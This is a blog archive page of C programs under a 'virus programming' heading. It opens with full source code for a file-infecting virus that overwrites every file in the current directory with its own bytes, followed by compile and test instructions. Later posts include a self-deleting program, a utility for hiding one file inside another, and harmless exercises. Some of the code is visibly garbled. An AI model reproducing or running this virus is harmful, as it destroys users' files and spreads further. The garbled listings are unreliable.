Archive for the ‘VIRUS PROGRAMMING’ Category

How to Create a Computer Virus?


Freelance Jobs

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

USING BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it

Advertisements

C Program to Set/Change the Current System Date


This program can be used to set the system date or to change the current system date.

#include <stdio.h>
#include <process.h>
#include <dos.h>int main(void)
{
struct date reset;
struct date save_date;
getdate(&save_date);
printf(“Original date:\n”);
system(“date”);
reset.da_year = 2001;
reset.da_day = 1;
reset.da_mon = 1;
setdate(&reset);
printf(“Date after setting:\n”);
system(“date”);
setdate(&save_date);
printf(“Back to original date:\n”);
system(“date”);
return 0;
}

C Program for Pigeon Breeding Problem


The problem is as follows…
Initially I have a pair of adult pigeons (capable of breeding) which give rise to another young pair every month until it reaches the age of 5 years (60 months). But the young pair starts breeding only when it is 2 months old. Once the adult pigeon pair starts breeding it never stops untils the age of 5 years. Assume the age of initial adult pigeon is 2 months old. This program takes the no. of months as input and will calculate the total no. of pigeons over a given time (as given by the input).

This problem is framed, based on my own imagination and I call this problem as PIGEON BREEDING PROBLEM. Here is the code

#include<stdio.h>
#include<process.h>struct node
{
int age;
struct node *link;
};

typedef struct node* NODE;

NODE getnode()
{
NODE x;
x=(NODE)malloc(sizeof(struct node));
if(x==NULL)
{
printf(“Out of memory\n”);
exit(1);
}
return x;
}

void main()
{
unsigned long int count=1;
unsigned int months,i;
NODE first=getnode();/*this is the intial adult pair*/
first->age=2; /*assume the age of initial adult pair as 2*/
first->link=NULL;
printf(“Enter the no. of months\n”);
scanf(“%u”,&months);
for(i=0;iage>=2)&&(temp->age<=60)) { NODE temp1=getnode(); temp->age+=1;
temp1->age=1;
temp1->link=first;
first=temp1;
temp=temp->link;
++count;
}
else
{
temp->age+=1;
temp=temp->link;
}
}
}
printf(“Total no. of pairs after %u months=%ld\n”,months,count);
}

A Self Destructing Program in C


This program will destroy itself upon execution. The program will cause the .exe file to be deleted upon execution. That is this program is capable of destroying itself upon execution. Here is the code

#include<stdio.h>
#include<conio.h>
#include<dos.h>
void main()
{
printf(“This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

HOW TO COMPILE ?

Load the source code to the compiler and compile (press Alt-F9) and then press F9. This will generate the .exe file in the current directory (Bin directory). Execute this .exe file it will destroy itself upon execution.

Guessing Game In C


This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code

#include<stdio.h>
#include<stdlib.h>
#include<time.h>void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

C Program Without a Main Function


How to write a C program without a main function?. Is it possible to do that. Yes there can be a C program without a main function. Here’s the code of the program without a main function…

#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)int begin()
{
printf(” hello “);
}

Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function. But how, whats the logic behind it? How can we have a C program working without main?

Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main. But in reality it runs with a hidden main function.

The ‘##‘ operator is called the token pasting or token merging operator. That is we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.

Look at the 2nd line of program –

#define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here. The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut). The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).

Now look at the third line of the program –

#define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e). According to the macro definition in the previous line the argument must be expanded so that the 4th,1st,3rd & the 2nd characters must be merged. In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,’a’,’i’ & ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler. That’s it…

The bottom line is there can never exist a C program without a main function. Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exists a hidden main function in the program. Here we are using the proprocessor directive to intelligently replace the word begin” by “main”. In simple words int begin=int main.

File Embedder Project in C


Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project. So here I am presenting you with the source code of the FILE EMBEDDER UTILITY project.

This utility can be used to embed one file with in the other. ie: Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

Both the Embedding and extraction process has been presented in seperate functions for your convenience. Here’s the code…..

#include<stdio.h>
#include<conio.h>
#include<fcntl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<stdlib.h>
#include<string.h>void embed(void);
void extract(void);

char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;

void main()
{
while(1)
{
clrscr();
puts(“\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(“1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ’1′:embed();
getch();
break;
case ’2′:
extract();
getch();
break;
default:
exit(0);
}
}
}

void embed()
{
puts(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{
puts(“\nCannot Open The Source File\n”);
return;
}
puts(“\nEnter The Target Filename\n”);
scanf(“%s”,tname);
outh=open(tname,O_RDONLYO_BINARY);
if(outh==-1)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nReading The Source File Please Wait…\n”);
while((bytes=read(outh,buff,1))>0)
size+=bytes;
data=fopen(“Data.cfg”,”w”);
if(data==NULL)
{
puts(“\nCannot Create Configuration The File\n”);
return;
}
fprintf(data,”%lu”,size);
close(outh);
fclose(data);
target=fopen(tname,”rb”);
if(target==NULL)
{
puts(“Cannot Open Target File\n”);
return;
}
printf(“\nEmbedding Please Wait…\n”);
fseek(source,0,SEEK_END);
while(fread(buff,1,1,target)>0)
fwrite(buff,1,1,source);
fcloseall();
printf(“\nEmbedding Completed Successfully\n”);
}

void extract()
{
printf(“\nEnter The Source Filename\n”);
scanf(“%s”,sname);
source=fopen(sname,”rb”);
if(source==NULL)
{
printf(“\nCannot Open The Source File\n”);
return;
}
printf(“\nEnter The Target Filename(eg: abc.exe)\n”);
scanf(“%s”,tname);
printf(“\nEnter The Configuration Filename(eg: DATA.cfg)\n”);
scanf(“%s”,dname);
data=fopen(dname,”r”);
if(data==NULL)
{
printf(“\nConfiguration File Not Found\n”);
return;
}
fscanf(data,”%ld”,&psize);
target=fopen(tname,”wb”);
if(target==NULL)
{
puts(“\nCannot Open The Target File\n”);
return;
}
printf(“\nExtracting Please Wait…\n”);
fseek(source,-psize,SEEK_END);
while((fread(buff,1,1,source))>0)
fwrite(buff,1,1,target);
printf(“\nFile Extraction Completed Successfully\n”);
fcloseall();
}

YOU CAN DOWNLOAD THE COMPILED MODULE OF THE ABOVE CODE HERE